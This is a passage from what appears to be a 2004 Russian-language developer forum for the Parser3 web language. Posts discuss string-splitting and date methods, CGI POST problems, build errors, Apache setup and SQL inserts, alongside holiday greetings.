Вот такой алгоритм. Прошу мнений, критики ... жду :)"
"35874","Корпоративный сайт, который я делал, работает так, как вы описали.\
\
Форум, который я пишу сейчас, будет малость по-другому - рерайтов и блоков там не будет - будет файловая структура, повторяющая структуру страниц, вылизанная структура БД для хранения дерева репликм - а то иногда приходящий GoogleBot текущую версию кладёт..."
"35876","т.к. \"Числовое значение объекта класса date равно числу суток с EPOCH\" (цитата из доки)\
\
я не понял к чему было деление на 7 и умножение на что-то."
"35878","Это гуд, что я да такого сам додумался. Не все так плохо :)\
\
Даннай система представляет интерес для разработчика с точки зрения простоты создания. А вот для пользователя, скорость обработки и загрузки страницы сильно увеличивается? а нагрузка на сервер?\
\
Стоит применять данный алгоритм для приличных порталов ?"
"35880","Интересно, а что в этой версии реализованно нового (на данный момент) в отличии от 3.1.3?"
"35881","Cервер:\
- Mandrake 10.1 (В принципе мне понравился. перешел на него с    RH   9 )\
- Apache 4.xxx\
- MySQL 4.xx\
- Samba 3.xxx\
Разработка на нотбуке ROVER 410\
- Windows XP SP2\
- Apache 1.3xxx\
- MySQL 3.29\
- PuTTY\
- Total Commander\
- IE (+ Avant Brouser - чертовски удобно)\
- Опера 7.54\
- Ultra Edit 10.20b\
- MySQL Front 2.2\
- Front Page :-)  ( часть кода удобнее в нем набирать )\
- Punto Switcher"
"35883","Случился карачум.\
При запросе страницы методом POST. \
в 100 из 100 случаев случается следующее \
[Wed Dec 22 06:21:05 2004] /enqu_send.html: post_size(0) != content_length(286) [<no type>]\
\
Там (в enqu_send.html) уже написано только $env:REQUEST_METHOD.\
Саппорт кидает стрелы на Парсер.\
\
\
По форуму искал.\
Сниффером пробовал - там все ОК :(\
Этот скрипт работает на всех хостингах кроме нужного :("
"35884","По прямому обращению выдает 3.1.3. Сейчас догадался проверить размер - он отличается от оригинала. Видать, косяк чьей-то сборки."
"35885","напишите тривиальный скриптик на perl, который выводит environment и содержимое STDIN, [b]назовите его parser3.cgi[/b] и [b]организуйте POST на .html страницу[/b].\
\
так вышло, что вчера видел своими глазами то же самое: в env есть CONTENT_LENGTH, а в STDIN ни одной буквы.\
\
если воспроизвести удастся, скажите «вот простой тест без всякого parser, на perl, пожалуйста, посмотрите»."
"35886","Продолжая [url=\"http://www.parser.ru/forum/?id=35860\"]недавний пост[/url], хочется высказать мнение о вводе константных переменных, если это возможно в языке с поздним связыванием.\
\
В большой системе, например в глубокой иерархии классов, совсем несложно сделать 2 объекта указывающие на одно и то же, и затем изменить 2-й. Кошмарные ошибки обеспечены.\
\
Если это невозможно - строить надежные большие системы на таких языках сложно если не невозможно."
"35888","как справедливо заметили, имя переменной у нас можно вычислить.\
а раз так, для любого имени надо проверять, что за сущность под этим именем хранится, и не константа ли она.\
\
что до наездов... :)\
возьмите perl, ничего, люди пишут."
"35889","А что до перла - он носит дурную славу :) и это не наезд, а так, мнение.\
\
Короче говоря - \"веревка достаточной длины, чтобы выстрелить себе в ногу\"."
"35890","А нельзя ли для объектов сделать метод без параметров, делающий объект константой и устанавливающий какое-нибудь закрытое поле запрещающее менять объект? Вроде того:\
[code]\
^obj.constant[]\
[/code]\
Или это \"не в духе парсера\"? или это тоже также медленно?"
"35891","значит вы что-то делаете неправильно.\
ваши администраторы, вероятно, уже устали от подобных бессмысленных сообщений о проблемах...\
\
если вдруг хотите ещё помощи, думаете, что сами не разберётесь,\
то\
\
\
напишите детально, что сделали, что нажимали, что получается."
"35892","Сам метод:\
\
[code]\
########################################\
#\
# Разбивает строку по регулярным выражениям\
#\
# l - разбить слева направо (по-умолчанию);\
# r - разбить справа налево;\
# h - сформировать безымянную таблицу где части исходной строки помещаются горизонтально;\
# v - сформировать таблицу со столбцом piece, где части исходной строки помещаются вертикально (по-умолчанию).\
#\
#####\
@rsplit[text;regex;divider][table_split;copy]\
^if(def $text){\
	$table_split[^table::create{piece}]\
	$result[^text.match[(.+?)$regex][g]{^table_split.append{$match.1}}]\
	^table_split.append{$result}\
	^if(!def $divider){$divider[lv]}\
	^switch[^divider.lower[]]{\
		^case[r;rv]{$result[^table::create[$table_split;$.reverse(1)]]}\
		^case[rh]{$copy[^table::create[$table_split;$.reverse(1)]]$result[^copy.flip[]]}\
		^case[h;lh]{$result[^table_split.flip[]]}\
		^case[DEFAULT]{$result[$table_split]}\
	}\
}\
### End @rsplit[]\
[/code]\
\
Примеры использования и описание [url=\"http://www.spearance.ru/parser3/rsplit/\"]здесь[/url].\
\
P.S. Если Misha v.3 сочтёт нужным, появится в примерах."
"35893","Операционка Win 2003 Server\
Создал сайт, пока не назначил парсер обработчиком, можно просматривать html страницы из проводника.\
\
Как только назначаю парсер обработчиком страниц, при попытке открыть сайт запрашивается пароль, и теперь чтоб получить доступ к сайту надо ввести пароль админа - это ж никуда не годится! ;-)\
\
PS: парсера назначил на .html, а остальные обработчики придавил.\
использую parser3.exe как обработчик, а не .dll, так как она вызывает странные притормаживания секунд по 20 перед открытием страницы."
"35896","Тут не моя вина, а вот этих самых-несчастных администраторов-мекиканцев.\
Я пришел на чистый хостинг.\
Поставил Парсер и все. Ничего еще не настраивал.\
Выбил из них доступ по SSH. И рутовые права (sic!).\
Как разберусь - отпишу в этом треде."
"35897","Тут не может быть моей вины :)))\
\
Сама страница, которая не работает.\
\
######## test.html\
$form:test\
<form method=\"POST\" action=\"test.html\">\
\
<input type=\"text\" name=\"test\">\
<input type=\"submit\">\
</form>\
######## /test.html\
\
\
\
Парсер устанавливал так\
parser3.cgi и т.д. - из раздела \"скачать\"\
\
потом в .htaccess \
\
############# .htaccess \
AddHandler parser3-handler .html\
Action parser3-handler /cgi-bin/parser3.cgi\
\
############# / .htaccess \
простой тест\
[code]\
^for[i](1;1000){$i <br>}\
[/code]\
работает\
\
с mysql соединяется и прекрасно работает.\
\
c XML - работает."
"35898",".в switch немного дополнить условия - vr и hl\
.copy вроде можно упразднить\
.для vl lv сделать отдельный кейс, а в DEFAULT засунуть что-то вроде:\
[code]\
^throw[parser.runtime;$divider;illegal split options]\
[/code]\
.divider назвать иначе, а то не отражает..."
"35899","перечитайте соображения. медленно не задать константность, медленно её соблюдать потом."
"35901","или это выдаёт пустую $form:test, а с get выдаёт нормально?\
\
или если что-то делать с perl, то \"Method Not Allowed\"?\
что?"
"35902","с ^throw[parser.runtime;$divider;illegal split options] не согласен.\
Стандартный сплит тоже не ругается на другие разделители, он просто подставляет дефолтное значение."
"35903","по какому принципу удаляют треды на форуме?\
запостил седня днем вполне безобидный тред, про тюнинг календаря, сейчас он почему-то удален...\
видел на форуме гораздо более глупые вопросы чем мой, плюс регулярно вижу, что в ответах отсылают в фак и т.д... можно было бы и так сделать...\
если и этот удалять будете, то хотя бы напишите почему я дурак, плиз:)\
регламента форума я не нашел, либо он запрятан куда-то далеко очень...:)"
"35904","ладно не будем спорить, - медленно так медленно, бессмысленно так бессмысленно и нечего стулья ломать."
"35905","Дорогой Дед Мороз!\
Ничего мне особенно не надо.\
Не для себя прошу.\
Пускай в этом году выйдет Парсер 3.1.4.\
И пусть будет мир во всем мире!\
\
Спасибо!"
"35906","идея в целом хорошая. может что ещё хорошего, но реализуемого придумается.."
"35907","И в независимости от Парсера и Перла.\
GET - это всегда пожалуйста.\
А вот POST - ни в какую.\
И проблема эта на весь сервер.\
пример: http://www.ifsma.com/test.html"
"35908","BTW\
Всех с Наступающим Праздником!"
"35909","Пишу подсистему рассылки, нужно её как-то отлаживать.\
Нужен какой-нибудь SMTP-эмулятор, который скидывает все отправленные на локальный SMTP-сервер письма в eml файлы.\
по форуму искал - нашел SMTP emulator от Sanja и некий Perl-эмулятор от него же.\
первый - слишком сырой. Второй загибается на письмах больших несколько килобайт.\
Что посоветуете?"
"35910","Здравствуйта, такая ситуация:\
\
На литературном сайте тексты произведений хранятся в [b].txt[/b] файлах, а сохраняется текст таким образом:\
\
[code]### в это поле авторы вставляют текст:\
<textarea name=\"body\"></textarea>\
\
### далее сохранение:\
$t[$form:body]\
^t.save[/authors/${form:header}.txt][/code]\
\
Затем при показе текста посетителю сайта он приобретает соответствующий вид след.образом:\
\
[code]$repl[^table::create[nameless]{^taint[^#0A]	<br>&nbsp^;&nbsp^;&nbsp^;&nbsp^;}]\
^file_body.text.replace[$repl]\
[/code]\
\
Т.е. переносы строк (#0A) заменяются на <br>&nbsp;&nbsp;&nbsp;&nbsp; – получаются абзацы.\
\
[b]Проблема:[/b]\
автор редактирует текст в том же поле формы:\
[code]\
$file_body[^file::load[text;/authors/${proizvedenie.header}.txt]]\
<textarea name=\"body\">$file_body.text</textarea>[/code]\
и также сохраняет его, как и при первом занесении (см.выше), но почему-то после редактирования текста почти все абзацы пропадают (независимо от того изменял ли он текст или только пересохранил).\
\
Друзья, подскажите пожалуйста в чем может быть ошибка?"
"35911","стандартный сплит ругается на \"lr\" и не ругается на \"ll\", чтобы реализовать нечто подобное придётся более кардинально всё переделывать..."
"35912","Встроенным в Винду ХР или в Линукс (смотря на чем работаю)"
"35913","А на вывод читателю я бы сделал так:\
$repl[^table::create[nameless]{^taint[^#0A]	^taint[^#0A]<br>&nbsp^;&nbsp^;&nbsp^;&nbsp^;}]\
И перевод строки сохранится."
"35914","ПАФ, тогда можно ещё одну идею? Сделать опцию клонирования объекта, т.к. например чтобы получить копию даты, надо делать так:\
[code]\
$d1[^date::now[]]\
$d2[^date::create($d1.year;$d1.month;$d1.day)]\
[/code]\
что громоздко и неудобно. А сделать например такое:\
[code]\
$d1[^date::now[]]\
$d2[^d1.clone[]]\
[/code]\
Красиво и удобно."
"35916","Ссылки крайне опасная и крайне полезная штука. Такой вот парадокс."
"35917","А зачем два раза – [code]^taint[^#0A]^taint[^#0A][/code]\
Получается, что только два подряд идущих перевода каретки(если я правильно называю) будут заменены на [code]<br>&nbsp^;&nbsp^;&nbsp^;&nbsp^;[/code], а одинарный будет проигнорирован?\
Или я не так понял, ведь у вас в примере где разделение табуляцией (не видно)."
"35918","подсказали более простой способ :)\
[code]\
$d1[^date::now[]]\
$d2[^date::create($d1)]\
[/code]\
тогда клонирование не нужно вообще."
"35920","А кто вам мешает собрать ее из исходников? %)"
"35923","... классический подход предполагает следующие фазы при проектировании БД (в вольной трактовке):\
1. Осмысление задачи\
2. Выделение сущностей (юзер, картинка)\
3. Выделение отношений (вот юзер, а это его картинка)\
\
Но, поскольку автор темы похоже все для себя уже решил по части проектирования, то в его посте речь идет о нормализации таблиц. Так вот, уже 2-ая нормальная форма требует отсутствия лишней избыточности и задача сводится к 2м таблицам. Иногда, нормализация не есть гуд (с т.з. производительности и отказоустойчивости).\
То, что предлагаете вы, уважаемый, не что иное как пустая трата времени, поскольку задача \"на будущее\" не стояла.\
А вообще, Кодда надо иногда почитывать. Для освежения памяти."
"35925","Послушайте товарищ, любая нормальная форма убирает избыточность а приведенное тут определение 2-й нормальной какое-то уж слишком вольное, если на то пошло, 2-я нормальная форма звучит так:\
\
\"Отношение, находящеееся в 1-й нормальной форме и каждый атрибут которого не входящий в состав первичного ключа, должен иметь полную функциональную зависимость от первичного ключа.\"\
\
Другими словами, 2-я нормальная форма применима лишь к отношениям с составными ключами, т.к. только в этом случае может наблюдаться частичная функциональная зависимость от составной части первичного ключа, если ключ не составной, то отношение автоматически находится во 2-й нормальной форме.\
\
И хорош пустой болтовней занимиться, раз уж сами не читаете теорию и трактуете её слишком вольно, просто взяв с потолка фразу про 2-ю форму и непонятно каким образом прилепили её сюда.\
\
А чего тогда на предмет 3-й, НФБК, 4-й и 5-й не исследуете?"
"35929","А то у меня руки не доходят..."
"35930","Не для того, что невозможно, а потому как неудобно.\
\
Часто делаешь он-лайн заказ, и надо дату-время сдвинуть на дельта час, минут.\
\
А дата может быть и 2004-12-31 23:30:00  "
"35931","ибо то, что дата есть по сути число - оно где-то подразумевается, я её себе представляю как объект :)"
"35932","у нас так уже есть клонирующий конструктор\
[code]^hash::create[$hash][/code]"
"35933","тогда у вас есть все инструменты для борьбы :)"
"35934","В логе часто встречаются записи вида\
[Thu Dec 23 00:52:55 2004] SIGPIPE received while reading data. uri=/, method=GET, cl=0\
или\
\
[Tue Dec 21 08:37:16 2004] SIGPIPE received while executing code. uri=/dvd-software, method=GET, cl=0\
\
Что они означают и как лечить?\
\
Также часто в логе встречаются ошибки когда происходит преобразование строк в числа или вызываются методы при пустой строке. Можно как то сделать, что бы страница все таки показывалась, но пусть без некоторых данных?"
"35935","- есть FAQ + поиск по форуму слева\
- почитайте про safe преобрахования строк в числа\
- используя try поймайте ошибки и выведете страницу без некоторых данных. глобально такое сделать нельзя."
"35936","... т.е. было бы хорошо иметь возможность дублировать подобным образом любой класс. \
\
А нельзя, например, ввести в любом классе внутреннюю переменную $class_name.INSTANCE (аналогично $class.self), при обращении к которой автоматически создавать копию текущего класса?\
"
"35937","^date.roll[day](1/1440) - сдвиг на 1 минуту.\
Остальное додумайте сами"
"35939",".. ведь не \"нарушал\" я ничего:)\
в тему написал, что нужна помощь с календарем для новостей...\
цель поста была не научиться какой-то конкретной фиче в парсере, а просто посоветоваться со знающими людьми, потому как думалка моя уже перегрелась...\
хотел получить ответ на обычном русском языке сделай то-то и то-то, или воспользуйся такой-то функцией(ну грубо говоря:))... неужели здесь запрещено это и можно обсуждать исключительно тех. вопрсоы?\
\
ps. в факе нигде не написано, что \"неправильные\" треды будут удалены...;)"
"35940","Думал работает. Проверил - оказалось, что нет :( Обидно"
"35941","Нет, я конечно написал свой класс по работе и вычислением дат, там и разность можно получить,\
и прибавить влость до секунды, и все это с учетом високосного года.\
\
Однако громоздко получилось, да и неудобно это пихать туда сюда, и подобные преобразования делать на парсере...\
Лучше б парсер мог это.\
А заусенцы типа day/1440 мало того, что не работают, так это неудобно всякие ^eval`ы внутрь roll`ов пихать\
Я считаю вполне этично и целесообразно добавить сдвиг почасово, поминутно, посекундно."
"35942","Короче надо выдвигать это в список заявок!\
Метод ^date.roll[] просто обязан(желателен =) по всем понятиям иметь сдвиг по\
часу, минуте, секунде."
"35943","однако, скажем, в C++ так нет, и никто не обижается.\
уверен, проблема надумана."
"35944","но лично мне очень нравится знак плюс.\
прибавляете(или отнимаете) столько, сколько нужно, и получаете удовольствие?\
\
[code]\
#вот на два часа\
$shifted[^date::create($current+2/24))]\
[/code]\
\
считаю это понятным и естественным."
"35945","тогда ещё несколько моментов:\
\
1. имеет смысл заранее вычистить из $divider все \"неправильные\" опции\
2. из того что останется вычистить все повторяющиеся опции\
3. с тем что осталось уже можно более-менее уверенно работать с помощю ^switch/^case, но всё равно один кейс придется отдать под ошибку \"conflicting split options\" (rl например, но реально вариантов гораздо больше).\
\
либо не делать кейс под ошибку, а проверять отдельно на r&l и h&v, возможно будет проще.\
\
либо проверять на конфликт опций но ошибку не выдавать, а просто игнорировать \"опции по умолчанию\", считая их ниже приоритетом, но опять-же в стандартном сплите такой подход не используется, и наверное на то есть серьёзные причины..."
"35946","... мне, например, ситуация со сылками никогда не мешала... более того я всегда именно на такое поведение и расчитываю. Другое дело, что если реализация такой функции не слишком сложна, то лишней она точно не будет... :)"
"35947","но скоро release"
"35948","не проверять ни на какой конфликт, а ещё на первом шаге вычищать \"опции по умолчанию\" как \"неправильные\", тогда и конфликта никакого не будет, и вариантов значений ^case поубавится."
"35949","спасибо за короткий тест"
"35952","Имеем FreeBSD 5.3-RELEASE со следующими пакетами установленными из портов\
\
[code]\
autoconf-2.59_2\
bison-1.75_2\
boehm-gc-6.3\
gdome2-0.8.1_2\
gettext-0.13.1_1\
glib-1.2.10_11\
glib-2.4.8\
gmake-3.80_2\
gnu-autoconf-2.59\
gnu-automake-1.8.5\
help2man-1.34.2\
libiconv-1.9.2_1\
libtool-1.3.5_2\
libtool-1.5.10\
libxml2-2.6.16\
libxslt-1.1.12\
m4-1.4.1\
p5-gettext-1.03\
perl-5.8.5\
pkgconfig-0.15.0_1\
w3m-0.5.1\
[/code]\
\
Парсер взят из портов с тегом release_3_1_3\
\
Опции configure:\
[code]\
./configure --with-static-gc=/usr/local/lib/ --disable-threads --silent --disable-safe-mode\
[/code]\
\
при попытке сборки gmake вываливается со следующим сообщением:\
\
[code]\
In file included from ../../src/include/pa_request.h:17,\
                 from compile_tools.h:16,\
                 from compile.y:32:\
../../src/include/pa_stack.h: In member function `void Stack<T>::push(T)':\
../../src/include/pa_stack.h:23: error: there are no arguments to `count' that depend on a template parameter, so a declaration of `count' must be available\
../../src/include/pa_stack.h:23: error: (if you use `-fpermissive', G++ will accept your code, but allowing the use of an undeclared name is deprecated)\
../../src/include/pa_stack.h: In member function `T Stack<T>::pop()':\
../../src/include/pa_stack.h:31: error: there are no arguments to `get' that depend on a template parameter, so a declaration of `get' must be available\
../../src/include/pa_stack.h: In member function `T Stack<T>::top_value()':\
../../src/include/pa_stack.h:39: error: there are no arguments to `get' that depend on a template parameter, so a declaration of `get' must be available\
../../src/include/pa_stack.h: In member function `void Stack<T>::wipe_unused()':\
../../src/include/pa_stack.h:44: error: `fused' undeclared (first use this function)\
../../src/include/pa_stack.h:44: error: (Each undeclared identifier is reported only once for each function it appears in.)\
../../src/include/pa_stack.h:45: error: `felements' undeclared (first use this function)\
gmake[2]: *** [compile.tab.o] Ошибка 1\
gmake[2]: Leaving directory `/usr/parser3/parser3/src/main'\
gmake[1]: *** [all-recursive] Ошибка 1\
gmake[1]: Leaving directory `/usr/parser3/parser3/src'\
gmake: *** [all-recursive] Ошибка 1\
[/code]\
\
В чём вилы?\
\
Спасибо."
"35953","При щелчке на ссылке в меню не нужно грузить новую страницу, а хочется сделать так, чтобы стали видны разделы подменю, а страница осталась текущей. И обратно соответственно... При щелчке на ссылке меню открытые разделы подменю закрывались бы (исчезали, то есть), не меняя страницы.\
\
Видимо делать все равно придется с помощью onclick, но как, ума не приложу..."
"35954","Посмотри как подобное реализовано на Яндекс.Закладки например."
"35956","Насчет JavaScript... Я хоть и рассматривал этот вариант, но все же хотелось бы обойтись без него, не доверяю я джаве как-то... У существенного числа юзеров эта опция выключена, а меню - это все таки ключевая структура...."
"35958","http://www.webmascon.com/topics/coding/42a.asp"
"35959","Изящно, конечно, но все равно там нужен Javascript... А средствами parser такого нельзя достичь?"
"35961","Второй день уж как..."
"35964","первый #0A - до табуляции, второй - после: чтобы не потерять.\
И, может, я не так понял, - но используйте автозамену по таблице при выдаче пользователю, но не редактору. Ибо метод очень быстр."
"35966","Уважаемый учитель, подскажи.\
Апач скачанный под win2000 с официального сайта Апача.\
Версия apache_2.0.52-win32-x86-no_ssl \
Настроенный по документации с http://far.h1.ru/serv/apache/index.html, 18 раз пепроверено, при запуске или рестарте в досовском окне дает сообщение No installed service\
named \"Apache 2\". Файлы Access.log  и Error.log через \"Пуск\" остутствуют, файл install в папке logs содержит : Installing Apache HTTP 2.0 server with\
 DomainName =  tut.ru\
 ServerName =  scripts.tut.ru\
 ServerAdmin = admin@scripts.tut.ru\
 ServerPort =  80\
 ServerRoot =  D:/usr/Apache/Apache2\
Rewrote D:/usr/Apache/Apache2/conf/httpd-win.conf\
 to D:/usr/Apache/Apache2/conf/httpd.default.conf\
Successfully removed D:\\usr\\Apache\\Apache2\\conf\\httpd-win.conf\
Duplicated D:/usr/Apache/Apache2/conf/httpd.default.conf\
 to D:/usr/Apache/Apache2/conf/httpd.conf\
Duplicated D:/usr/Apache/Apache2/conf/ssl.default.conf\
 to D:/usr/Apache/Apache2/conf/ssl.conf\
Duplicated D:/usr/Apache/Apache2/conf/magic.default\
 to D:/usr/Apache/Apache2/conf/magic\
Duplicated D:/usr/Apache/Apache2/conf/mime.types.default\
 to D:/usr/Apache/Apache2/conf/mime.types\
Successfully removed D:\\usr\\Apache\\Apache2\\conf\\InstallConf.awk\
\
Спасибо."
"35968","Я давным-давно писал руководство по установке апача и всего остального добра - и в использованном вами руководстве нашёл кучу фрагментов из моего текста... \"Автор\" мог бы из вежливости разрешения попросить, блин...\
\
Ну да ладно. Вам именно Apache2 нужен, или Apache 1.3.27 хватит?\
\
Если хватит, качайте \"Швейцарский ножик\" с Apache, Perl, PHP, MySQL и парсером в одном флаконе - http://www.parser.ru/forum/?id=34769\
\
Весит меньше, чем дистрибутив Perl с официального сайта. Работает сразу после установки."
"35969","Еще не устанавливал, но благодарен за оперативность и внимание,\
по моему уже можно поздравлять с наступающими праздниками, хорошего Вам веселья.\
                             Алекс1."
"35970","Однако с сегодня на завтра — католическое рождество. Вот так вот. :)"
"35971","Есть два файла\
\
auto.p\
[code]@main[]\
\
<html>\
\
<head>\
</head>\
\
<body>\
\
^body[]\
\
</body>\
\
</html>[/code]\
\
index.html\
[code]\
@body[]\
$file[^file::load[binary;http://parser.ru]]\
$file.text\
[/code]\
\
Вот такая ошибка\
[code]\
invalid HTTP response status\
302\
[/code]\
\
четакое?:\\"
"35973","Ну никакаой механизм с учетом пользователей чата онлайн не работает(не видно кто в сети). Потдолкните хоть на правильную мысль!"
"35974","всех с наступающим Рождеством!\
\
(SQL драйвера тоже обновились)"
"35975","Всех разработчиков Parser и тех кто его использует поздравляю с наступающим Новым Годом!"
"35978","Присоединяюсь, продукт отличный. С Наступающим!"
"35980","Ножик я Ваш швецарский установил, но сообщение:  Невозможно запустить Apache- порт 80 занят\
или заблокирован firewall\"ом, не оставляет мне ни каких надежд продолжить дальше работу, но я не отчаиваюсь, надеюсь \
с Вашей мудрой мысли решить эту проблему. Так каким путем теперь идти мне? Как отключить firewall в win2000    Спасибо. Alex1."
"35981","утяжелят код который призван быть простым. Сегодня я ещё раз поправил метод, добавив в него чуть-чуть больше проверок, позволяющих не делать пустых манипуляций, и сократив с точки зрения оптимизации регулярное выражение.\
Я добавил один общий throw, реагирующий на отсутствие обязательных параметров. Что же касательно селекторов разбиения - не считаю нужным их проверять, т.к. при неправильном написании всегда сработает селектор, выставленный по-умолчанию.\
\
P.S. конечный код метода [url=\"http://www.spearance.ru/parser3/rsplit/\"]здесь[/url]."
"35982","просто логика реализованная в стандартном ^string.split показалась мне более оправданной, например на [b]rhr[/b] или [b]rhf[/b] стандартный сплит отреагирует как на [b]rh[/b], а ваш вариант - как на [b]vl[/b]. И с конфликтом опций похожая ситуация. Насчет утяжеления - тут всё зависит от реализации, хотя, то что код не упростится - это точно :)"
"35985","1) Парсер поддерживает докачку только при $response:body[DATA] или ещё и при $response:download[DATA]?\
\
2) Теперь в @auto[] Парсер имеет доступ к form и cookie?"
"35986","В сообщении открытым текстом сказано - кто-то \"первым встал, его и тапки\" - другой вебсервер занял порт 80. Это либо Microsoft'овский IIS, либо результат ваших прежних попыток поставить apache.\
\
Поэтому у вас два варианта:\
\
а) залезть в настройки Windows и убрать все установленные до этого сервера - iis, apache и остальные - тогда Швейцарскому ножику ничего не помешает\
\
либо \
\
б) открыть вебсервер\\apache\\conf\\httpd.conf и заменить строчку[code]Port 80[/code]на, например[code]Port 100[/code]. Сохранитесь и попробуйте снова. \"Ножик\" не будет претендовать на занятый кем-то порт 80, а присоединится к порту 100.\
\
Набирать придётся не http://127.0.0.1, а http://127.0.0.1:100 - но работать будет."
"35988","Прошу прощенья, ни в кое случае не хотел огорчить.\
Вариант б) не помог?!, а как быть с вариантом а) не могли бы Вы пошагово объяснить чайнику."
"35989","С наступающим, успехов Вам и вашим проектам."
"35990","С кэшированием - думаю, можно. Только вся проблема - у меня, например - не в том, чтобы выбирать данные из базы, а потом их стыковать, а в том, чтоб их корректно туда заносить. То есть самое сложное в этом - не движок, а административный интерфейс.\
\
Скажем, если речь идет о по-настоящему большой куче данных, то приходицца, чтобы сократить время редактирования, и уменьшить количество запросов от администратора к серверу - соответственно, время ожидания ответа, использовать фичи MSXML, что опять-таки, порождает свои проблемы.\
\
Такие дела."
"35991","Пусть в новом году появится GNU GPL CMS на Parser. Всем удачи и неимоверной прухи!"
"35992","Я подчеркиваю - [b]продукт[/b]. Один человек просто не может сделать великолепный язык + все необходимое окружение, а только после этого что-то можно называть хорошим продуктом.\
\
И поменьше эмоций и побольше дела."
"35993","файл \"languages.cfg\":\
\
$msg[\
  $.russian[\
     $.1[Сообщение 1]\
     $.2[Сообщение 2]\
  ]\
  $.english[\
     $.1[Message 1]\
     $.2[Message 2]\
  ]\
]\
\
файл \"test.html\":\
\
[b]^use[/languages.cfg][/b]\
$msg.[$form:language].1\
\
в адресную строку браузера вводим:\
http://localhost/test.html?language=russian\
\
в ответ чистая страница.\
если же поместить содержимое файла \"languages.cfg\" прямо в test.html до вызова переменной, все работает.\
\
сдается мне, что ошибка в выделенной жирным шрифтом строке. как все-таки правильно подключить файл \"languages.cfg\"?"
"35995","Подключение и работу таких таких конструкций никто не обещал и работать они не будут\
\
1) Оставляйте хеш в test.html или где повыше (auto.p)\
\
2) если надо внешний файл с такой-же фукциональностью - смотрите в xdoc + xnode, хоте проще - грузите таблицы"
"35997","в новостях не нашел, исправлена ли ошибка в ключе date класса mail?"
"35999","Вам и всем, кому Вы хотели бы пожелать, Счастья и удачи в Новом году!!!"
"36000","[quot]2) Теперь в @auto[] Парсер имеет доступ к form и cookie?[/quot]\
Куки точно работают."
"36002","Вот именно, на 100% присоединяюсь к Гиви!\
Чтоб у всех пасеристов было время и на коммерческую работу и на ту, что некоторые называют \"для души\".\
А создателям - [b]спасибы многочисленные и новых сил на новые фичи в новом году![/b]\
Ну и под конец, если про какие-то пожеляния позабыл, то [quot]\"пожалуйста воспользуйтесь поиском по форуму\"[/quot] :-), в прошлом году ведь тоже поздравления были! \
\
\
:-) :-) :-)"
"36003","Совет нужен такой: никто не посоветует редактор freeware для Mac OS X аналогичный блокноту для Windows, чтоб и HTML и парсерный код без проблем редактировть и была бы 100% совместимость? Пробовал вчера WebCode 1.2, что-то не то, не очень понравился."
"36004","уверен, писал про это в форуме.\
мелкие ошибки не упоминал, ни в какие новости не влезет."
"36005","некоторое время назад сдавал экзамены на вождение в штатах:\
билет, вопрос:\
[code]\
-- вы видите знак [железнодорожный переезд], что нужно сделать?\
[/code]\
Вариант ответа:\
[code]\
три раза громко бибикнуть\
[/code]"
"36007","вероятно, это всё же стоило вписать.\
(поправилось в рабочем порядке, не отписал себе соответствующего письма)\
\
http://cvsview.parser.ru/cgi/viewcvs.cgi/parser3/ChangeLog?graph=1\
<end>, click в квадратик под \"release_3_1_4\""
"36008","вижу, также не попало в своё время в новости :(\
причины те же.\
http://www.parser.ru/forum/?id=36007"
"36009","Правда, придётся повозиться с настройками, потратить время на установку всех необходимых плагинов и подобрать моноширинный шрифт с кириллицей."
"36010","Спасибо большое, уже загрузил, вечером попробую"
"36012","и напишите два меню, одно красивое c JavaScript, второе не менее красивое без последнеего.\
По сообвственному опыту скажу: статика - лучше всякой динамики"
"36013","Есть hash, поля которого совпадают с названиями полей в таблице SQL, значения полей хэша и численные и строковые. Понятно, что в запросе строковые значения надо взять в кавычки, а числовые оставить как есть.\
Сохраняю так:\
\
[code]\
	^void:sql{INSERT INTO $table (\
		^myHash.foreach[key;value]{\
			$key\
		}[, ] \
	) VALUES (\
		^myHash.foreach[key;value]{\
			^quoteItem[$value]\
		}[, ]\
	)}\
\
@quoteItem[item]\
$result[^item.int(-1)]\
^if($result == -1){$result['^taint[sql][$item]']}\
[/code]\
\
вопрос - есть способ поэлегантнее отличить число от строки?? \
(в моём случае числа не могут принимать значения -1)\
или может быть у меня пробелы в образовании? \
(не пинайте тогда, я всё-таки не мегагуру парсера и SQL)\
\
да, использую SQLite + Win32-драйвер (тут пробегала ссылка) на парсере 3.1.4."
"36015","subj., второй вариант.\
\
насчёт элегантности не уверен, но что прикольный эт точно."
"36016","или (если вы числа храните как числа):\
^if($value is \"int\"){число}{не число}"
"36017","однако, как выяснилось, SQLite тоже нормально обрабатывает INSERT ... ('123456'... ) если поле объявлено как INTEGER.\
\
а \
\
[code]\
$item[\
    $.status[$form:status]\
]\
\
^if($item.status is int){true){false}\
[/code]\
\
возвращает FALSE. хотя по-хорошему стоит писать $.status[^form:status.int[]), так ?"
"36018","$.status[<- этой скобкой вы говорите что тут будет строка"
"36019","http://courierms.narod.ru"
"36020","Админ сервера как-то изменил конфигурацию.\
Теперь при поппытке запостить на сервер текст с тегами выдается:\
\
Status: 406\
Not Acceptable\
An appropriate representation of the requested resource\
/admin/items.html could not be found on this server.\
\
До этого год все работало нормально.\
Заранее спасибо."
"36021","Это точно веб-сервер возвращает? Может у Вас с прокси проблемы?"
"36022","Это апач ругается, точно.\
Внизу есть подпись\
Apache/1.3.33 Server at www.somehost.ru Port 80"
"36023","минут двадцать не мог понять...\
Все было ОК а с переходом на новую верчию парсера перестала работать авторизация. Она у меня реализована через hasfile.\
Пока не прочитал в доке что открывать два раза скриптом теперь нельзя :(.\
Класс я уже переписал, но вот возник вопрос - может наряду с ^hashfile.delete[] было бы логичным реализовать ^hashfile.close[]?"
"36024","пойти и поколотить админа? время и место не указываете…"
"36025","никто не говорит, что нельзя.\
нельзя, если не хотите deadlock.\
нельзя, если не хотите тратить понапрасну ресурсы.\
и так с момента появления hashfile, а не в последней версии.\
\
.close не в духе parser.\
\
уверен, после того, как вы переписали, код стал изящнее."
"36026","Часто бывает, что находят обходные пути. К тому же ошибка какая-то  экзотичная, возможно кто-то уже встречался.\
\
PS:\
Вопрос снят.\
\
Админ только-что раскололся, они поставили какую-то суперахринеть защиту от всего на свете, которая подозрительные запросы фильтрует.\
Все запросы, содержащие теги, эта система с дефолтными настройками считает подозрительными. Обещали беспридел пофиксить."
"36027","Никто не говорит, что нельзя, но код работать перестал :)(Это не наезды и не прочая фигня просто констатация факта)\
После переписывания - код стал намного изящнее и быстрее работать."
"36029","эмпирические знания тут\
http://www.hostov.net/support/article.php?id=162"
"36031","если будет желание, всегда можно разобраться подробнее.\
bug.html приветствуется :)"
"36032","[code]$hashfile.$key[$.expires(50)][/code]\
так не выходит, да и в документации написано что так не выйдет ничего, а хотелось-бы...\
\
